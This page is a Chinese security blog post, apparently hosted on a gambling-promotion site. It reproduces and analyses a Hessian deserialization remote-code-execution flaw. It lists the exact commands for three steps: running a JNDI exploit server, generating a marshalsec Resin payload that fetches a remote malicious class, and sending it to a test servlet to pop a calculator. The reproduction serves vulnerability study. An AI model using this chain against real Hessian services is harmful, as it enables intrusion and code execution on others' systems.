Hessian反序列化RCE漏发复现及分析 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Hessian反序列化RCE漏发复现及分析

申博_安全预警 申博 133次浏览 已收录 0个评论

Hessian是一个轻量级的RPC框架。它基于HTTP协议传输,使用Hessian二进制序列化,对于数据包比较大的情况比较友好。
Hessian反序列化可导致RCE,POC于2017年就公开了,但是经过测试,目前最新版本hessian-4.0.60.jar,同样存在反序列化问题
使用marshalsec项目,可生成利用payload,包括SpringCompAdv,Resin, ROME, XBean
Hessian反序列化RCE漏发复现及分析
下面使用Resin的payload来复现一下:
一,搭建测试环境
测试环境使用最新jar包,hessian-4.0.60.jar
Hessian反序列化RCE漏发复现及分析
将HessianTest.war放到tomcat/webapp/目录下并启动tomcat
Hessian反序列化RCE漏发复现及分析
访问服务器地址http://127.0.0.1:8080/HessianTest/hessian,返回如下页面则说明环境正常
Hessian反序列化RCE漏发复现及分析
二,启动JNDI利用工具
执行命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc.exe -A 127.0.0.1
-C为需要执行的命令 -A为监听地址
Hessian反序列化RCE漏发复现及分析
三,生成payload
执行命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Resin http://127.0.0.1:8180/ ExecTemplateJDK7>hession
Hessian反序列化RCE漏发复现及分析
将在当前目录生成hession的payload
注意:http://127.0.0.1:8180/ExecTemplateJDK7 为 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具启动后生成的恶意代码地址
四,发送payload到hessian服务
使用hessian.py 发送序列化的payload到服务
执行命令:
python hessian.py -u http://127.0.0.1:8080/HessianTest/hessian -p hessian
Hessian反序列化RCE漏发复现及分析
可以看到服务器已经去JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar上下载恶意类并执行弹出计算器
Hessian反序列化RCE漏发复现及分析
漏洞利用数据流图如下:
Hessian反序列化RCE漏发复现及分析
五,分析
Hessian是一个轻量级的RPC框架,使用hession的web项目需要配置web.xml,映射com.caucho.hessian.server.HessianServlet到相应的web路径
Hessian反序列化RCE漏发复现及分析
Java客户端可以很方便的调用服务器上的方法,如下图可以看到通过http协议调用了服务器上的方法
Hessian反序列化RCE漏发复现及分析
查看com.caucho.hessian.server.HessianServlet的代码,其service方法处理客户端发来的http请求
Hessian反序列化RCE漏发复现及分析
Hessian反序列化RCE漏发复现及分析
Hessian反序列化RCE漏发复现及分析
调用HessianSkeleton的invoke方法,最终调用readObject方法,将从客户端发来的数据流中读取对象
Hessian反序列化RCE漏发复现及分析
看代码里面好像没有什么黑白名单过滤机制
通过抓取请求包,分析,构造请求包,将marshalsec工具生成的Resion payload发送给服务
下面是构造请求包的hessian.py代码
Hessian反序列化RCE漏发复现及分析
Hessian反序列化RCE漏发复现及分析

JAVA反序列化—FastJson组件

推荐阅读时间:60min 全文字数:14026 前言 其实从一开始就是想着学一下fastjson组件的反序列化。结果发现完全理解不能。 就先一路补了很多其他知识点,RMI反序列化,JNDI注入,7u21链等(就是之前的文章),之后也是拖了很长时间,花了很长时间,总算把这篇一开始就想写的文,给补完了。 类似的文是已经有了不少,学习也是基于前辈们的文章一步步走来,但是个人习惯于把所有问题理清楚,讲清楚。理应是把大佬们的文要细致些。 本文需要前置知识:JNDI注入,7u21利用链,可以戳我往期的文章。 文章内容如下: fastjson组件基础介绍及使用(三种反序列化形式等) fastjson组件的被屏蔽的type标识的特性说明(默


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Hessian反序列化RCE漏发复现及分析
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址